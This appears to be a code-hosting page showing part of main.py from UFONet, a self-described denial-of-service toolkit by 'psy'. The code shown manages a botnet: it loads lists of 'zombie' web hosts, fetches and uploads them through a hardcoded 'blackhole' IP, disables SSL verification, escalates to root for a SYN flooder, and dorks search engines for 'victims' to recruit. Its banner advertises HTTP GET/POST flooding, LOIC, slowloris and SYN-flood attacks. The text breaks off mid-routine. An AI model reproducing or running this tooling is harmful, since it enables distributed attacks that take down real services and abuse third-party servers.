main.py 161 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import os, sys, re, traceback, random, time, threading, base64, string, math
  10. import StringIO, socket, httplib, urllib, urllib2, ssl, cgi, json
  11. from uuid import getnode
  12. from urlparse import urlparse
  13. from random import randrange, shuffle
  14. from options import UFONetOptions
  15. from update import Updater
  16. from herd import Herd
  17. from zombie import Zombie
  18. from doll import Doll
  19. from inspector import Inspector
  20. from abductor import Abductor
  21. from loic import LOIC
  22. from loris import LORIS
  23. from ufosyn import UFOSYN
  24. DEBUG = 0
  25. class UFONet(object):
  26. def __init__(self):
  27. self.blackhole = '176.28.23.46' # default download/upload zombies 'blackhole'
  28. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  29. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  30. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve 'zombies'
  31. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve 'aliens'
  32. self.droids_file = 'botnet/droids.txt' # set source path to retrieve 'droids'
  33. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  34. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  35. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  36. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve 'dorks'
  37. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  38. self.timeline_file = 'docs/VERSION' # set source for code releases
  39. self.referer = 'http://127.0.0.1/'
  40. self.port = "8080" # default injection port
  41. self.mothershipname = "core/txt/shipname.txt"
  42. self.mothership_baptism() # generating static name/id for your mothership ;-)
  43. self.head = False
  44. self.payload = False
  45. self.external = False
  46. self.attack_mode = False
  47. self.retries = ''
  48. self.delay = ''
  49. self.connection_failed = False
  50. self.total_possible_zombies = 0
  51. self.herd = Herd(self)
  52. self.sem = False
  53. self.db_flash = 0 # db stress counter
  54. self.total_aliens = 0
  55. self.aliens_hit = 0
  56. self.aliens_fail = 0
  57. self.total_droids = 0
  58. self.droids_hit = 0
  59. self.droids_fail = 0
  60. self.total_ucavs = 0
  61. self.ucavs_hit = 0
  62. self.ucavs_fail = 0
  63. self.total_rpcs = 0
  64. self.rpcs_hit = 0
  65. self.rpcs_fail = 0
  66. self.total_loic = 0
  67. self.total_loris = 0
  68. self.total_syn = 0
  69. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  70. self.ctx.check_hostname = False
  71. self.ctx.verify_mode = ssl.CERT_NONE
  72. self.nat_error_flag = "OFF"
  73. self.trans_zombies = 0
  74. self.scanned_zombies = 0
  75. self.loadcheck_counter = 0
  76. self.loadcheck_prev_size = None
  77. self.loadcheck_prev_load = None
  78. self.loadcheck_first_size = None
  79. self.loadcheck_first_load = None
  80. self.loadcheck_size_list = []
  81. self.loadcheck_load_list = []
  82. self.loadcheck_size_median = None
  83. self.loadcheck_size_max = None
  84. self.loadcheck_size_min = None
  85. self.loadcheck_load_median = None
  86. self.loadcheck_size_max = None
  87. self.loadcheck_size_min = None
  88. def mothership_baptism(self):
  89. if os.path.exists(self.mothershipname) == True:
  90. f = open(self.mothershipname)
  91. self.mothership_id = f.read()
  92. f.close()
  93. else:
  94. self.mothership_ids = []
  95. f = open(self.motherships_file)
  96. motherships = f.readlines()
  97. f.close()
  98. for ship in motherships:
  99. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  100. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()))
  101. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  102. m.write(str(self.mothership_id.upper()))
  103. m.close()
  104. def create_options(self, args=None):
  105. self.optionParser = UFONetOptions()
  106. self.options = self.optionParser.get_options(args)
  107. if not self.options:
  108. return False
  109. return self.options
  110. def banner_welcome(self):
  111. print ""
  112. print " ** 0===============================================0"
  113. print " '' '----' '' || ||"
  114. print " .'_.- ( 00 ) -._'. || * Botnet -> DDoS: ||"
  115. print " .'.' |'..'| '.'. || ||"
  116. print " .-. .' /'--.__|____|__.--'\ '. .-. || -Zombies : HTTP GET bots ||"
  117. print " (O).)-| | \ x | |x / | |-(.(O) || -Droids : HTTP GET (+params) bots ||"
  118. print " `-' '-'-._'-./ ---- \.-'_.-'-' `-' || -Aliens : HTTP POST bots ||"
  119. print " _ | | '-.___||___.-' | | _ || -UCAVs : Web Abusing bots ||"
  120. print " .' _ | | | __ | | | _ '. || -X-RPCs : XML-RPC bots ||"
  121. print " / .' ''.| | /____\ | |.'' '. \ || ||"
  122. print " | |(0)| '. ||__**_ || .' |(0)| | || * Close Combat -> DoS: ||"
  123. print " \ '._.' '. | \____/ | .' '._.' / || ||"
  124. print " '.__ ______'.|__'--'__|.'______ __.' || -LOIC : Fast HTTP requests ||"
  125. print " .'_.-| |-._'. || -LORIS : Slow HTTP requests ||"
  126. print " || -UFOSYN : TCP SYN flooder ||"
  127. print " || ||"
  128. print " * Class: UFONet - ViPR404 (model C)- || * Featured: Crawler, +CVE, +WAF detection ||"
  129. print " * Type: /Scout/Transporter/Warfare/ || ||"
  130. print " 0|=============================================|0"
  131. print ""
  132. def banner(self):
  133. print '='*75, "\n"
  134. print "888 888 8888888888 .d88888b. 888b 888 888 "
  135. print "888 888 888 d88P Y888b 8888b 888 888 "
  136. print "888 888 888 888 888 88888b 888 888 "
  137. print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 "
  138. print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 "
  139. print "888 888 888 888 888 888 Y88888 88888888 888 "
  140. print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. "
  141. print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888"
  142. print self.optionParser.description, "\n"
  143. print '='*75
  144. def show_mac_address(self):
  145. mac = getnode() # to get physical address
  146. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  147. return hex_mac
  148. def show_ips(self):
  149. import requests
  150. try:
  151. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  152. s.connect(("8.8.8.8", 80))
  153. private_ip = s.getsockname()[0] # black magic
  154. s.close()
  155. except:
  156. private_ip = "Unknown"
  157. try:
  158. public_ip = requests.get('https://ip.42.pl/raw').text
  159. except:
  160. public_ip = "Unknown"
  161. return private_ip, public_ip
  162. def try_running(self, func, error, args=None):
  163. options = self.options
  164. args = args or []
  165. try:
  166. return func(*args)
  167. except Exception as e:
  168. print(error, "error")
  169. if DEBUG == 1:
  170. traceback.print_exc()
  171. def start_ship_engine(self):
  172. self.agents = [] # generating available user-agents
  173. f = open(self.agents_file)
  174. agents = f.readlines()
  175. f.close()
  176. for agent in agents:
  177. self.agents.append(agent)
  178. self.user_agent = random.choice(self.agents).strip()
  179. self.search_engines = [] # available dorking search engines
  180. self.search_engines.append('bing') # [03/02/2018: OK!]
  181. self.search_engines.append('yahoo') # [03/02/2018: OK!]
  182. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  183. #self.search_engines.append('duck') [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  184. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  185. if not os.path.exists("core/json/"): # create gui json cfg files folder
  186. os.mkdir("core/json/")
  187. self.banner_welcome()
  188. self.update_flying_stats() # update flying time stats
  189. chargo = self.check_mothership_chargo() # check mothership chargo
  190. self.update_max_chargo(int(chargo)) # update max chargo stats
  191. def run(self, opts=None):
  192. if opts:
  193. self.create_options(opts)
  194. options = self.options
  195. # start threads
  196. if not self.options.threads:
  197. self.options.threads=5 # default number of threads
  198. self.sem = threading.Semaphore(self.options.threads)
  199. # start ship engine
  200. self.start_ship_engine()
  201. # check proxy options
  202. proxy = options.proxy
  203. if options.proxy:
  204. try:
  205. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  206. m = re.search(pattern, proxy)
  207. if m is None:
  208. self.banner()
  209. print ("\n[Error] - Proxy malformed!\n")
  210. return #sys.exit(2)
  211. except Exception:
  212. self.banner()
  213. print ("\n[Error] - Proxy malformed!\n")
  214. return #sys.exit(2)
  215. # check tor connection
  216. if options.checktor:
  217. url = 'https://check.torproject.org' # TOR status checking site
  218. self.banner()
  219. print "\nSending request to: " + url + "\n"
  220. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  221. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  222. try:
  223. if options.proxy: # set proxy
  224. self.proxy_transport(options.proxy)
  225. req = urllib2.Request(url, None, headers)
  226. tor_reply = urllib2.urlopen(req).read()
  227. else:
  228. req = urllib2.Request(url, None, headers)
  229. tor_reply = urllib2.urlopen(req, context=self.ctx).read()
  230. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  231. if not tor_reply or 'Congratulations' not in tor_reply:
  232. print("It seems that Tor is not properly set.\n")
  233. print("Your IP address appears to be: " + your_ip + "\n")
  234. else:
  235. print("Congratulations!. Tor is properly being used :-)\n")
  236. print("Your IP address appears to be: " + your_ip + "\n")
  237. except:
  238. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  239. sys.exit(2) # return
  240. # run AES256+HMAC-SHA1 enc/dec tool
  241. if options.cryptomsg:
  242. from server.crypter import Cipher
  243. from base64 import b64encode, b64decode
  244. print " "
  245. print " ____...------------...____ "
  246. print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ "
  247. print " .' / / \ \ '. "
  248. print " |=====/o/======================\o\=====| "
  249. print " |____/_/________..____..________\_\____| "
  250. print " / _/ \_ <_o#\__/#o_> _/ \_ \ "
  251. print " \__/_____\####/0213411543/####/_____\__/ "
  252. print " |===\!/========================\!/===| "
  253. print " | |=| .---. |=| | "
  254. print " |===|o|=========/ \========|o|===| "
  255. print " | | | \() ()/ | | | "
  256. print " |===|o|======{'-.) A (.-'}=====|o|===| "
  257. print " | __/ \__ '-.\uuu/.-' __/ \__ | "
  258. print " |==== .'.'^'.'.====|====.'.'^'.'.====| "
  259. print " | _\o/ __ {.' __ '.} _ _\o/ _| "
  260. print " '''''''''''''''''''''''''''''''''''''' "
  261. print "\nUFONet Crypter (AES256+HMAC-SHA1)\n"
  262. print " -> (140 plain text chars = 69 encrypted chars)\n"
  263. text = str(raw_input("- Enter text: "))
  264. input_key = str(raw_input("- Enter key: "))
  265. key = b64encode(input_key)
  266. c = Cipher(key, text)
  267. msg = c.encrypt()
  268. c.set_text(msg)
  269. print '\n-> Ciphertext: [', msg, ']'
  270. print '\nLength:', len(msg)
  271. print '\n-> Key (share it using SNEAKNET!):', input_key
  272. print '\nDecryption PoC:', c.decrypt(), "\n"
  273. # run shownet tool
  274. if options.shownet:
  275. hex_mac = self.show_mac_address()
  276. self.banner()
  277. print "-> Network Info:"
  278. print '='*44
  279. print "-"*35
  280. print "|- MAC Address :", hex_mac
  281. print "|" +"-"*34
  282. private_ip, public_ip = self.show_ips()
  283. print "|- IP Private :", private_ip
  284. print "|" +"-"*34
  285. print "|- IP Public :", public_ip
  286. print "-"*35
  287. print '='*75, "\n"
  288. # show code timeline
  289. if options.timeline:
  290. f = open(self.timeline_file, 'r')
  291. releases = f.readlines()
  292. f.close()
  293. self.banner()
  294. print "-> Code timeline:"
  295. print '='*44
  296. print "-"*35
  297. for r in releases:
  298. print r.strip('\n')
  299. print "-"*35
  300. print '='*75, "\n"
  301. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  302. if options.ufosyn:
  303. euid = os.geteuid()
  304. if euid != 0:
  305. print("[Error] UFOSYN (--ufosyn) not started as root...\n")
  306. try:
  307. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  308. os.execlpe('sudo', *args)
  309. except:
  310. pass # keep running but UFOSYN will fail
  311. # search for 'zombies' on search engines results (dorking)
  312. if options.search:
  313. zombies = []
  314. if options.engine:
  315. engine = options.engine
  316. else:
  317. engine = "yahoo" # default search engine
  318. try:
  319. self.banner()
  320. if not os.path.exists(self.humans_file) == True:
  321. f = open(self.humans_file, 'w')
  322. f.close()
  323. lf = open(self.humans_file, 'r')
  324. restored = lf.readlines()
  325. zombies_restored = len(restored)
  326. lf.close()
  327. lz = open(self.zombies_file, 'r')
  328. zombies_army = lz.readlines()
  329. for zombie in zombies_army:
  330. zombies.append(zombie) # add zombies from army to the zombies pool
  331. lz.close()
  332. if len(restored) > 0:
  333. print "\n[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  334. if not self.options.forceyes:
  335. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  336. print '-'*25
  337. else:
  338. backup_reply = "Y"
  339. if backup_reply == "n" or backup_reply == "N":
  340. print "\n[Info] Removing data stored and starting a new search...\n"
  341. os.remove(self.humans_file)
  342. zombies_restored = 0 # flush zombies restored
  343. print '-'*25 + "\n"
  344. else:
  345. print "\n[Info] Restoring data and starting a new search...\n"
  346. print '-'*25 + "\n"
  347. for zombie in restored:
  348. zombies.append(zombie) # add previous data to zombies pool
  349. if options.allengines:
  350. for e in self.search_engines:
  351. engine = e
  352. print '='*44
  353. print("\nSearching for zombies (with AI mode) using: "+engine+'\n')
  354. print '='*44 + '\n'
  355. self.options.engine = engine
  356. try:
  357. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  358. if zombies_chain != None:
  359. for zombie in zombies_chain:
  360. if zombie not in zombies: # evade possible repetitions
  361. zombies.append(zombie)
  362. except:
  363. if zombies: # backup all new zombies found to file in case of exception
  364. for zombie in zombies:
  365. if zombie+os.linesep not in restored: # only append new zombies found
  366. with open(self.humans_file, "a") as f:
  367. f.write(str(zombie+os.linesep))
  368. else:
  369. if restored:
  370. print '='*44
  371. print("\nSearching for zombies (with AI mode) using: "+engine+"\n")
  372. print '='*44 + '\n'
  373. if restored: # from restored file
  374. try:
  375. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  376. if zombies_chain != None:
  377. for zombie in zombies_chain:
  378. if zombie not in zombies: # evade possible repetitions
  379. zombies.append(zombie)
  380. except:
  381. if zombies: # backup all new zombies found to file in case of exception
  382. for zombie in zombies:
  383. if zombie+os.linesep not in restored: # only append new zombies found
  384. with open(self.humans_file, "a") as f:
  385. f.write(str(zombie+os.linesep))
  386. else:
  387. try:
  388. zombies = self.search_zombies(dork='', zombies_found=zombies)
  389. except:
  390. if zombies: # backup all new zombies found to file in case of exception
  391. for zombie in zombies:
  392. if zombie+os.linesep not in restored: # only append new zombies found
  393. with open(self.humans_file, "a") as f:
  394. f.write(str(zombie+os.linesep))
  395. total_restored = zombies_restored
  396. new_zombies = 0 # new zombies counter
  397. f = open(self.zombies_file, 'r')
  398. zz = f.readlines()
  399. f.close()
  400. zombies_found = []
  401. for z in zombies:
  402. if z.endswith(os.linesep):
  403. z = z.replace(os.linesep, "")
  404. if z not in zz and z+os.linesep not in zz:
  405. new_zombies = new_zombies + 1
  406. zombies_found.append(z)
  407. print '='*62
  408. print "\n- Victims found:", len(zombies_found), "\n"
  409. print " - Restored:", total_restored
  410. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  411. print '-'*32
  412. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  413. print '='*62 + '\n'
  414. if len(zombies) > 0:
  415. if not self.options.forceyes:
  416. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  417. print '-'*25
  418. else:
  419. check_backup_reply = "Y"
  420. if check_backup_reply == "n" or check_backup_reply == "N":
  421. if os.path.isfile(self.humans_file):
  422. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  423. print "\n[Info] Temporal data correctly removed...\n"
  424. else:
  425. with open(self.humans_file, "w") as f:
  426. for z in zombies_found:
  427. if z.endswith(os.linesep):
  428. z = z.replace(os.linesep, "")
  429. if z not in zz or z+os.linesep not in zz:
  430. f.write(z+os.linesep)
  431. f.close()
  432. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  433. print '-'*25 + "\n"
  434. if new_zombies and new_zombies > 0:
  435. if not self.options.forceyes:
  436. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
  437. print '-'*25 + "\n"
  438. else:
  439. check_url_link_reply = "Y"
  440. if check_url_link_reply == "n" or check_url_link_reply == "N":
  441. print "Bye!\n"
  442. pass
  443. else:
  444. print "\n" + '='*44
  445. test = self.testing(zombies_found)
  446. else:
  447. print "[Info] NOT any NEW possible zombies found... Exiting!\n"
  448. except Exception:
  449. print ("\n[Error] - Something wrong searching using: "+engine+"\n")
  450. # search for 'zombies' from a list of 'dorks'
  451. if options.dorks:
  452. if options.engine:
  453. engine = options.engine
  454. else:
  455. engine = "yahoo" # default search engine
  456. try:
  457. dorks = self.extract_dorks()
  458. if not dorks:
  459. return
  460. zombies = []
  461. self.banner()
  462. if not os.path.exists(self.humans_file) == True:
  463. f = open(self.humans_file, 'w')
  464. f.close()
  465. lf = open(self.humans_file, 'r')
  466. restored = lf.readlines()
  467. zombies_restored = len(restored)
  468. lf.close()
  469. lz = open(self.zombies_file, 'r')
  470. zombies_army = lz.readlines()
  471. for zombie in zombies_army:
  472. zombies.append(zombie) # add zombies from army to the zombies pool
  473. lz.close()
  474. if len(restored) > 0:
  475. print "\n[Info] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  476. if not self.options.forceyes:
  477. backup_reply = raw_input("Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  478. print '-'*25
  479. else:
  480. backup_reply = "Y"
  481. if backup_reply == "n" or backup_reply == "N":
  482. print "\n[Info] Removing data stored and starting a new search...\n"
  483. os.remove(self.humans_file)
  484. zombies_restored = 0 # flush zombies restored
  485. print '-'*25 + "\n"
  486. else:
  487. print "\n[Info] Restoring data and starting a new search...\n"
  488. print '-'*25 + "\n"
  489. for zombie in restored:
  490. zombies.append(zombie) # add previous data to zombies pool
  491. total_restored = zombies_restored
  492. if options.allengines:
  493. for e in self.search_engines:
  494. engine = e
  495. print '='*44
  496. print("\nSearching for zombies (with AI mode) using: "+engine+ " [from a list of 'dorks']\n")
  497. print '='*44 + '\n'
  498. self.options.engine = engine
  499. for dork in dorks:
  500. print '='*22
  501. print "Dork:", dork
  502. print '='*22 + '\n'
  503. try:
  504. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  505. for zombie in dorked_zombies:
  506. if zombie not in zombies: # evade repetitions for zombies found
  507. zombies.append(zombie)
  508. if zombie+os.linesep not in restored: # only append new zombies found
  509. with open(self.humans_file, "a") as f:
  510. f.write(str(zombie+os.linesep))
  511. f.close()
  512. except:
  513. if zombies: # backup new zombies found on exception
  514. for zombie in zombies:
  515. if zombie+os.linesep not in restored: # only append new zombies found
  516. with open(self.humans_file, "a") as f:
  517. f.write(str(zombie+os.linesep))
  518. f.close()
  519. else:
  520. if restored:
  521. print '='*44
  522. print("\nSearching for zombies (with AI mode) using: "+engine+ " [from a list of 'dorks']\n")
  523. print '='*44 + '\n'
  524. for dork in dorks:
  525. print '='*22
  526. print "Dork:", dork
  527. print '='*22 + '\n'
  528. try:
  529. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  530. if dorked_zombies != None:
  531. for zombie in dorked_zombies:
  532. if zombie not in zombies: # evade repetitions for zombies found
  533. zombies.append(zombie)
  534. except:
  535. if zombies: # backup new zombies found on exception
  536. for zombie in zombies:
  537. if zombie+os.linesep not in restored: # only append new zombies found
  538. with open(self.humans_file, "a") as f:
  539. f.write(str(zombie+os.linesep))
  540. f.close()
  541. new_zombies = 0 # new zombies counter
  542. f = open(self.zombies_file, 'r')
  543. zz = f.readlines()
  544. f.close()
  545. zombies_found = []
  546. for z in zombies:
  547. if z.endswith(os.linesep):
  548. z = z.replace(os.linesep, "")
  549. if z not in zz and z+os.linesep not in zz:
  550. new_zombies = new_zombies + 1
  551. zombies_found.append(z)
  552. print '='*62
  553. print "\n- Victims found:", len(zombies_found), "\n"
  554. print " - Restored:", total_restored
  555. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  556. print '-'*32
  557. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  558. print '='*62 + '\n'
  559. if len(zombies_found) > 0:
  560. if not self.options.forceyes:
  561. check_backup_reply = raw_input("Want to save results for a future search? (Y/n)\n")
  562. print '-'*25
  563. else:
  564. check_backup_reply = "Y"
  565. if check_backup_reply == "n" or check_backup_reply == "N":
  566. if os.path.isfile(self.humans_file):
  567. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  568. print "\n[Info] Temporal data correctly removed...\n"
  569. else:
  570. with open(self.humans_file, "w") as f:
  571. for z in zombies_found:
  572. if z.endswith(os.linesep):
  573. z = z.replace(os.linesep, "")
  574. if z not in zz or z+os.linesep not in zz:
  575. f.write(z+os.linesep)
  576. f.close()
  577. print "\n[Info] Correctly saved at: 'botnet/humans.txt'\n"
  578. print '-'*25 + "\n"
  579. if new_zombies and new_zombies > 0:
  580. if not self.options.forceyes:
  581. check_url_link_reply = raw_input("Want to check if NEW possible zombies are valid? (Y/n)\n")
